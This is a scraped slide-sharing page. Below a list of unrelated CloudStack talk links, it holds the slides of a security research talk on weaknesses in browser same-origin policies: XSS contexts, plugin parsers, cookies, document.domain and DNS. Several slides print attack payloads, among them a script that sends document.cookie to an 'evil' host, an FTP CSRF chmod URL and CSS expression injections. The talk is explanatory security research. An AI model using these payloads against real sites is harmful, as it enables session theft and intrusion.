CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
ShapeBlue138 views
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by ShapeBlue
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
ShapeBlue206 views
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O... by ShapeBlue
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...
ShapeBlue132 views
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ... by ShapeBlue
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
ShapeBlue184 views
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ... by ShapeBlue
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...
ShapeBlue119 views
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
ShapeBlue222 views
Keynote Talk: Open Source is Not Dead - Charles Schulz - Vates by ShapeBlue
Keynote Talk: Open Source is Not Dead - Charles Schulz - VatesKeynote Talk: Open Source is Not Dead - Charles Schulz - Vates
Keynote Talk: Open Source is Not Dead - Charles Schulz - Vates
ShapeBlue252 views
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas... by Bernd Ruecker
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
Bernd Ruecker54 views
Business Analyst Series 2023 - Week 4 Session 7 by DianaGray10
Business Analyst Series 2023 -  Week 4 Session 7Business Analyst Series 2023 -  Week 4 Session 7
Business Analyst Series 2023 - Week 4 Session 7
DianaGray10139 views

Same Origin Policy Weaknesses

  • 1. Same Origin Policy Weaknesses kuza55 kuza55@gmail.com http://kuza55.blogspot.com
  • 2. whoami ► Alex (aka kuza55)  http://kuza55.blogspot.com/ ► R&D Team Lead at SIFT  http://www.sift.com.au/ ► Student at UNSW  http://www.unsw.edu.au/
  • 3. Outline ► Same Origin Policy (SOP) Intro ► SOP Implementations  Some new attacks, some obscure attacks  Demos! ► OtherSecurity Policies ► Some Tools
  • 4. SOP Intro ► Not present in the beginning  Tacked on later; like most web security  Hence ‘Confused Deputy’ or CSRF attacks ► Introduced with the introduction of active content  JavaScript/VBScript ► In a nutshell checks that the following 3-tuple describing the origin for ‘communicating’ content:  protocol/hostname/port  All of these are vital, as changing one may lead to accessing something outside your own control
  • 5. SOP Intro ► https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript
  • 6. The Obvious Answers ► Complete SOP Bypasses  Many exploits found over the years  Continue to be found in latest browsers  Not covered in this talk ► Partial Bypass  Completely bypass certain boundaries in certain conditions ► Covered in this talk  Read or write certain elements across all sites ► Not covered in this talk ► ‘Spoofing’ your origin by putting your code on the target domain (XSS)  The focus of this talk
  • 7. Understanding Context ► Common knowledge that XSS happens when script is included on the target domain  Why is this so? ► TheJavaScript SOP implementation works by checking the origin a script is embedded in  Irrelevant for many injections, e.g. ► <script>location='http://evil/?c='+escape(document.cookie)</script>  Relevant for others: ►<script src="http://evil.com/s"></script>
  • 8. Understanding Context #2 ► Hence injections into JavaScript files:  alert("<injection>"); Are not an issue if it is served as text/plain ► However this code is an issue:  some_func("<sensitive_data>"); As we can do this:  <script>some_func = function (a) { location = 'log?'+a };</script> <script src="http://good.com/sensitive.js"></script>
  • 9. Active and Passive Contexts ► ‘Contexts’are important when we load something from a URL ► Browser components can mostly be grouped into two categories:  Active components ►HTML ►Code Injection  Passive components ►JavaScript ►Information Leakage
  • 10. HTML Context ► How do you invoke the HTML Component?  Redirects or links or any navigation  <iframe or <object tag ► HTML must be an ‘active’ component  Otherwise JavaScript/etc can read the contents ► Hence HTML Injection/XSS  Lots of effort spent examining the HTML parser to determine how we can inject data ► http://ha.ckers.org/xss.html (getting out of date now)
  • 11. HTML Context ► From the W3C Spec on OBJECT tags:  "If the value of this attribute [type] differs from the HTTP Content-Type returned by the server when the object is retrieved, the HTTP Content- Type takes precedence.“ ► http://www.w3.org/TR/REC-html40/struct/objects.html#h-13.3  All browsers seem to implement this  ► So we cannot just tell a browser an image is a html file
  • 12. Quick Detour: FindMimeFromData ► IE uses the FindMimeFromData function to determine what type of content a response ‘really’ is ► Valid images could be constructed that when viewed via iframes/object tags/redirection were rendered as html ► A good description can be found here:  http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting ► Can no longer go from GIF/JPG/PNG to HTML though
  • 13. JavaScript Hijacking Advances ► E4X Support in Firefox allows JavaScript constructs like:  var x = <contact><name>John Doe</name><mail>jdoe@example.com</mail></contact>; alert(x); ► And more interestingly:  a = <name>{get_name();}</name><mail>none</mail> ► Which allows injections into html/xml to leak data like so: I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
  • 14. JavaScript Hijacking Advances ► <html> <body> Non-Javascript text Something completely non-parseable - 1 2 3 **** }} ... {x= <- attacker-supplied ... Sensitive data in valid HTML/XML format ... } <- static or attacker-supplied </body> </html> I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
  • 15. JavaScript Hijacking Advances ► E4X HTML Hijacking Caveats  XML Parser is very strict and does not parse tags that it thinks are invalid, such as: ► <?xml …>  https://bugzilla.mozilla.org/show_bug.cgi?id=336551 ► <!DOCTYPE …>  No plans to allow this  The document contains no unclosed tags such as <br>  All the attributes in the document must be quoted using single (‘) or double quotes (")  Only one instruction allowed in a constructor I didn’t discover this, I found it on: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity
  • 16. Other Components ► HTTP Parser ► CSS Parser ► Flash VM ► Java Applet VM ► Google Gears Web Workers  Should be implemented in next Firefox release too
  • 17. HTTP Parser ► Active Context  All response headers apply to the specific resource  Straight Injection Attacks using rn ►HeaderInjection ►HTTP Response Splitting  Trickier Attacks ►Several good papers:  ‘The HTML Form Protocol attack’  ‘The Extended HTML Form attack’  ‘Inter-Protocol Communication’  ‘The Extended HTML Form attack revisited’
  • 18. Trickier HTTP Attacks ► Point the HTTP parser at a non-HTTP port  HTTP Parser tries to parse response as http  Headers, HTML, XSS, etc can be injected into the context of the non-HTTP port, e.g. ►http://irc.freenode.net:6667/ ►SOP policy should make this irrelevant, but it doesn’t  More on why this is so at the end  Possible to ‘XSS’ many non-HTTP services ►IRC, SMTP, IMAP, many other plaintext protocols
  • 19. Quick Detour: FTP CSRF ► Found by Maksymilian Arciemowicz  http://securityreason.com/achievement_securityalert/56 ► Using long FTP URLs, it is possible to perform CSRF attacks against FTP servers  <img src="ftp://site///////...../////SITE %20CHMOD%20777%20FILENAME">  Command is truncated at 500 chars, rest of URL is interpreted as extra FTP command ► Awesome!
  • 20. CSS Parser ► Not really considered active content ► Passive context  We can read css remotely ► Parser does not seem to be lenient enough to do information leaks ► However we can still check for existence of css files using only ‘conditional’ css  Useful to detect installed Firefox extensions, e.g. NoScript ► http://kuza55.blogspot.com/2007/10/detecting-firefox-extension-without.html  Useful to determine whether an website administrator is logged in ► http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html  We can also inject CSS <style> tags in HTML
  • 21. CSS Injection ► Typically just jump into JavaScript  x:expression(alert(document.cookie))  -moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss") ► Eduardo “sirdarckcat” Vela and Stefano “WiSec” Di Paola found that CSS can read the page  Using CSS 3 Selectors CSRF tokens/nonces, etc can be read from the page ► Is slow, but not blocked by NoScript, etc ► http://www.thespanner.co.uk/wp-content/uploads/2008/10/the_sex
  • 22. Flash VM ► Flash is an active context component  Based on site it is loaded from ► Mostly  Can execute JavaScript in the passive context ► Can make requests with cookies, etc to the active context (where it was loaded from) ► Moderately strict file parser  Does not check Content-Type of response  Ignores Content-Disposition  File must start with CWS or FWS file signature  Extra data can be appended to SWF’s due to file format
  • 23. Flash VM ► So if we can upload Flash files, we can xss the server  Exploit Demo! (Gmail) ► Also,if we can inject into the start of a response ► Can create a SWF/HTML File  Particularly useful for attacking webmail ►Leak unique token via referer  Demo!
  • 24. Flash 9,0,151,0 & 10 ► Turns out other people thought this was useful too  It got patched  (CVE-2008-4818) ► Got pushed to users at the start of November ► Nowrespects Content-Type & Content-Disposition headers  Can’t really use Flash attacks against webmail any more ► Means we have to move to another active context component  It’s not a limitless supply 
  • 25. Flash VM ► Flash VM allows cross-domain communication via ‘policy files’ hosted on sites allowing cross-domain communication ► Policy files are loaded by URL (LoadPolicyFile function)  Are ‘active context’ (obviously) ► Policy files are just XML  Parser was originally VERY lenient ►Has been tightened up to stop these attacks ►Still possible, but need to control root node of XML file
  • 26. Java VM ► Java is very similar to Flash  Has active context for communicating with the hosting domain  Has passive context for JavaScript execution ► Moderately strict file parser  Does not check Content-Type of response  Ignores Content-Disposition  Content read from end of file ►Can construct a file that is a GIF and a JAR ► PoC at http://pseudo-flaw.net/content/web-browsers/corrupted-jars/
  • 27. Google Gears Web Workers ► What is Google Gears?  A set of JavaScript APIs ►http://code.google.com/apis/gears/  A browser plugin  Contained in Google Chrome by default ► ‘Web Workers’ allow background execution of JavaScript ► ‘Web Workers’ will be included in Firefox 3.1
  • 28. Google Gears Web Workers ► ‘Web Workers’ JavaScript can be loaded from a URL  Has an active context ► Uses the browser’s native JavaScript engine  Supports E4X in Firefox ► JavaScript parsers are very liberal  Can be XML in Firefox ► Demo!  Can be valid image files ► However this doesn’t work with Google Gears, as it doesn’t like high ascii chars in responses (probably a bug)
  • 29. Conclusion 1 ► The fact that something implements the SOP doesn’t mean the security of the web is not changed ► By classifying components as active or passive, we can infer the added security risks via analysis of the parser leniency ► We should be evaluating all new plugins on their context and file format strictness ► Users should not be able to upload files to sensitive domains  Upload all user files to another domain and use random file names so that they can not be easily enumerated
  • 30. Conditional SOP Bypasses ► Browsers contain many, many components  Not all of them implement the SOP ► Many of them have their own security policies ► Sometimes the SOP is not enough to protect sites  Even when they are bug-free ►I will examine some of these components
  • 31. Cookies ► What is a cookie?  It’s a name value pair stored on the client  It is sent only to the domain it was set for  And that’s all most developers know ► Here is what a cookie looks like when it is set:  Set-Cookie: NAME=VALUE[; expires=DATE][; path=PATH][; domain=DOMAIN_NAME][; secure][; httpOnly] ► Here is what a cookie looks like when it is sent:  Cookie: NAME=VALUE[; NAME=VALUE]
  • 32. Cookies ► But where does a cookie actually get sent?  The browser does a ‘domain-match’ which means: ►Domain A Matches Domain B if: ►The domains are identical, or ►A is a FQDN string and has the form NB, B has the form .B', and B' is a FQDN string. ►(So, x.y.com domain-matches .y.com but not y.com)  A browser sends a cookie if the domain the user is going to (A) domain-matches the domain in the cookie (B)
  • 33. Cookies ► So cookies set for .microsoft.com are sent to subdomain.microsoft.com ► Who can set cookies?  A host (A) can set cookies for any domain (B) that it domain-matches ► Sosubdomain.microsoft.com can set cookies for .microsoft.com  But not for .com (two-dot rule)
  • 34. Cookies ► Butthe two-dot rule doesn’t work for registries like .co.uk since they do have two dots  Browsers have reacted differently ►IE doesn’t allow cookies for (com|net|org).yy or xx.yy (unless they are in a whitelist) ►Firefox 2 and Safari have no protections ►Firefox 3 has a massive (but incomplete list) ►Opera does DNS resolution on the cookie domain (B)
  • 35. Cookies ► So on Firefox2 and Safari you can set cookies for any domain not on the com, net, org TLDs ► In all browsers sub1.domain.com can set cookies for .domain.com which also get sent to sub2.domain.com ► By abusing the path attribute we can effectively over-write cookies very specifically, or for the whole domain by setting lots of them  Useful for exploitation of some xss vulnerabilities
  • 36. Cookies ► The secure attributes only lets cookies be transmitted over SSL  However this does not prevent sites setting more specific cookies than the secure cookies which sites will use instead of secure cookies ► The httpOnly attribute doesn’t let JavaScript access cookies  You can however access the cookie via XHR as it is being sent, so it is ineffective on sites which regenerate cookies ► On Firefox and Opera we can delete all the user’s cookies by exhausting the global limit on how many cookies can be stored ► More detailed info at http://kuza55.blogspot.com/2008/02/understanding-cookie-sec
  • 37. Bringing Down the Walls: document.domain ► document.domain is a read/write JavaScript property which is set to the domain of the current page ► This property can be set to any parent domain  www.test.com can set it to test.com or .com (though .com is sometimes not allowed) ► To check whether sites can communicate two checks must be passed (usually):  The document.domain’s are both the same  Either both document.domain properties have been altered, or neither have ► Many sites alter the domain to allow this explicitly  MySpace  Live.com  Yahoo!
  • 38. Bringing Down the Walls: document.domain ► However these is a bug in IE  Known & Unpatched for >1 year ► Finally patched in IE8 Beta 2  If a website reads the location.href property, IE will think the document.domain property has been altered ► Many scripts read this property  Google Analytics  I have also been told there are similar bugs, but do not know their details ► We can determine this as a black box  Load every URL, submit every form and simply check ► Soany parent domains which read location.href anywhere at all effectively trust all child domains
  • 39. Heterogeneous DNS Records ► DNS servers do not necessarily have the same records, e.g.  A Company may have a wildcard DNS record for *.company.com resolving to 12.34.56.78  If they now create a website at internal.company.com but only place that record on the internal DNS server  If *.company.com is vulnerable to XSS, then so is internal.company.com when resolved externally ► Think laptops ► Think `persistent` payloads
  • 40. Heterogeneous DNS Records ► It seems increasingly common for infrastructure providers to hijack DNS  Network Solutions hijacked their customers’ subdomains to serve ads (Techcrunch)  Earthlink and Comcast hijacked the subdomains of all sites on the internet and served ads to their customers (Kaminsky)  Both cases were XSS-able, the NetSol equivalent trivially so ►Abusingcookie and document.domain issue, this becomes very bad for security
  • 41. Ambiguous IP Addresses in DNS ► Many domains inadvertently have a localhost.domain.com address pointing to 127.0.0.1 (Travis Ormandy)  localhost.microsoft.com used to ► Many internal hosts resolve externally  Domains now resolve to IPs which are not controlled by domain owner ►e.g. 10.13.37.43
  • 42. Ambiguous IP Addresses in DNS ► Exploitable in few scenarios  Multi-User system  XSS-able service on 127.0.0.1 (Travis Ormandy) ► LocalMachine ► HTTP proxy  Attacker on the same local net ► More feasible on switched networks, or if DNSSEC is ever implemented  Vulnerable machine at exact IP on victim’s local net ► Ifyou find one (somewhat unlikely), it is possible to use Anti- DNS Pinning/DNS Rebinding in browsers to find an xss in that IP on-the-fly
  • 43. Flash and Silverlight crossdomain.xml ► crossdomain.xml files let you allow cross-domain communication via Flash and now Silverlight ► They look like this:  <cross-domain-policy>  <allow-access-from domain=“www.domain.com" />  </cross-domain-policy> ► Allow wildcard domains  e.g. *.yahoo.com ► http://www.yahoo.com/crossdomain.xml ► Does *not* allow cross-port communications, port defaults to 80 if not supplied
  • 44. Flash crossdomain.xml ► Flash allows cross-protocol communication if the secure=“false” attribute is added to crossdomain.xml ► Flash also allows policy files in directories other than the root to be loaded using the LoadPolicyFile function  e.g. http://www.site.com/path/to/policy/file/crossdomain.xml ► Adobe just patched my directory traversal, can you find another?  http://www.site.com/path/to/policy/file/%3f/..........pathfromroot.aspx
  • 45. IE By-Design SOP Bypasses ► IE does not support the SOP completely  Prefers it’s own ‘Security Zone’ Model/Policy ► By Design Weaknesses  MSXML2.XMLHTTP.6.0 and related components  ActiveX SiteLock  No Port Restrictions on JavaScript, etc
  • 46. MSXML2.XMLHTTP.6.0 and related components ► IE allows old ActiveX controls to be accessed  e.g. MSXML2.XMLHTTP.6.0 ► MSXML2.XMLHTTP.6.0 is a standard XHR object that does not enforce port restrictions ► MSXML2.XMLHTTP.3.0 can be accessed on some computers  Documented to allow cross-protocol communications; Not in the latest version though ► http://msdn.microsoft.com/en- us/library/ms537505(VS.85).aspx
  • 47. ActiveX SiteLock ► Designed to lock sites to domains ► Allows wildcard domains to be specified ► XSS-ing a non-active site may let you exploit an otherwise non-exploitable ActiveX bug
  • 48. No Port Restrictions on JavaScript, etc ► Microsoft does not consider port restrictions security sensitive  Does not enforce them in lots of components ► e.g. Plain Old JavaScript!  <iframe src="http://www.good.com:8080/server.php" onload="alert(window.frames[0].document.cookie);"> </iframe>  Demo!  Particularly interesting when combined with: ► Non-HTTP XSS ► document.domain issues ► ActiveX SiteLock
  • 49. Conclusion 2 ► Even without global SOP bypasses, we can still traverse lots of boundaries ► We need to think of XSS’ affects beyond a single origin when writing exploits  XSS in ‘brochure-ware’ sites becomes relevant
  • 50. Tools ► Flash-baseduser-as-a-proxy payload ► Google Gears user-as-a-proxy payload ► Unlocked document.domain checker ► Will post to http://kuza55.blogspot.com/
  • 51. The End ► This presentation is not the end of this research ► Still lots of things to examine  Silverlight  IE Zone Policy  In depth analysis of all the file parsers mentioned here ► My (and other researchers’) analysis is fairly naïve and black- box  Every other common ActiveX component and add-on